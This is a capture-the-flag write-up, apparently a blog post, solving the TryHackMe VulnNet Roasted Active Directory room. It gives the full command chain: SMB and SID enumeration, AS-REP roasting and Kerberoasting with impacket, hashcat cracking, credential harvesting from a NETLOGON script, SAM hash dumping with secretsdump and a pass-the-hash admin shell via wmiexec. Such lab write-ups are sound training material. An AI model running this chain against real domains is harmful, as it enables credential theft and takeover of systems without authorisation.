Summary
In this write-up, I document the process followed to solve the VulnNet Roasted room on TryHackMe. It is a simple Active Directory challenge that requires us to carry out AS-REP Roasting to obtain the password for a low-privilege user followed by Kerberoasting to gain credentials of a service. After that we use those credentials to find the password of a higher privileged user in a VB Script file stored in the NETLOGON share. We use those credentials to dump SAM hashes of the Administrator which are then leveraged to gain elevated access to the target. -0x00: Enumeration
- As usual, I started with a TCP scan on the target via Nmap. nmap -sC -sV -p 53,88,135,139,389,445,464,593,636,3268,3269,5985,9389 10.49.151.250 -oA nmap
Nmap 7.95 scan initiated Sun Jul 19 18:58:38 2026 as: /usr/lib/nmap/nmap —privileged -sC -sV -p 53,88,135,139,389,445,464,593,636,3268,3269,5985,9389 -oA nmap 10.49.151.250
Nmap scan report for 10.49.151.250 Host is up (0.016s latency). PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-07-19 13:28:49Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: vulnnet-rst.local0., Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: vulnnet-rst.local0., Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |http-server-header: Microsoft-HTTPAPI/2.0 |http-title: Not Found 9389/tcp open mc-nmf .NET Message Framing Service Info: Host: WIN-2BO8M1OE1M1; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-time: | date: 2026-07-19T13:28:53 | start_date: N/A | smb2-security-mode: | 3:1:1: | Message signing enabled and required Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done at Sun Jul 19 18:59:31 2026 — 1 IP address (1 host up) scanned in 52.38 seconds
- The scan makes it very obvious that the target is hosting an Active Directory environment.
- I enumerate SMB via smbclient and find the following shares. VulnNet-Enterprise-Anonymous andVulnNet-Business-Anonymous shares in specific look interesting and are the only ones we can access.VulnNet-Business-Anonymous in particular has the following files. VulnNet-Enterprise-Anonymous has the following content.
- All the files in the above two shares have nothing of use except the names of employees who more probably than not will have accounts in the network.
- To gain more information on the target I enumerate the SIDs (Security Identifiers) which might reveal information on the users on the network.
- I use impacket-lookupsid tool for this task. impacket-lookupsid ’ ’:”@10.49.151.250
- As it can be seen, we have four user accounts with the same names we saw in the shares before. I use a tidbit of text manipulation to fetch the usernames and store them in a separate file for later use. impacket-lookupsid ’ ’:”@10.49.151.250 | awk ‘{print $2}’ | cut -d ” -f2 > users.txt -0x01: AS-REP Roasting
- Here I leveraged the disabled pre-authentication in Kerberos to extract password hashes for users. I used impacket-GetNPUsers to fulfill this task. impacket-GetNPUsers -dc-ip 10.49.151.250 vulnnet-rst.local/ -usersfile users.txt
- I successfully obtained the password hash for the user t-skid . - To crack this hash I used Hashcat in the mode 18200. hashcat -m 18200 pass.txt /usr/share/wordlists/rockyou.txt -0x02: Kerberoasting
- Considering I had a user credential now, I went on to conduct a Kerberoasting attack on the target to get access to a service account.
- I used impacket-GetUserSPNs tool here. impacket-GetUserSPNs vulnnet-rst.local/t-skid:t******* -dc-ip 10.49.170.37 -request
- The enterprise-core-vn service was crackable. The-request flag returned the service ticket which could be locally cracked. - I again deployed Hashcat for this task in the mod 13100. hashcath -m 13100 krbtgs.txt /usr/share/wordlists/rockyou.txt -O
- The cracked password was obtained successfully.
- I went back to the SMB shares and found that enterprise-core-vn has READ access on theNETLOGON share. - I used smbclient to connect to the share with the relevant credentials and found aResetPassword.vbs VB Script file.
- I downloaded the file on my machine and found the following credentials for the a-whitehat user sitting in the script. -0x03: Administrator Access
- I used the
a-whitehat
credentials to check for the permissions available on the target SMB Shares viasmbmap
smbmap -u a-whitehat -p
-H 10.49.170.37 - Turns out, the user had Admin access on multiple shares.
- I decided to dump SAM hashes for this user using
impacket-secretsdump
.
impacket-secretsdump vulnnet-rst.local/a-whitehat:
@10.49.170.37 - The Administrator hash was successfully dumped! This could be used to gain higher-privilege access to the target.
- I used
impacket-wmiexec
to gain an administrator shell with the credentials I had just obtained.
impacket-wmiexec -hashes
Administrator@10.49.170.37 - The user flag was obtained as follows.
- The admin flag was found in a system.txt file as shown below. With that, the room was successfully solved! I hope you found this write-up worth your time. Make sure to drop a follow for more such quality content in the future. Get Kavin Jindal’s stories in your inbox Join Medium for free to get updates from this writer. Happy Hacking!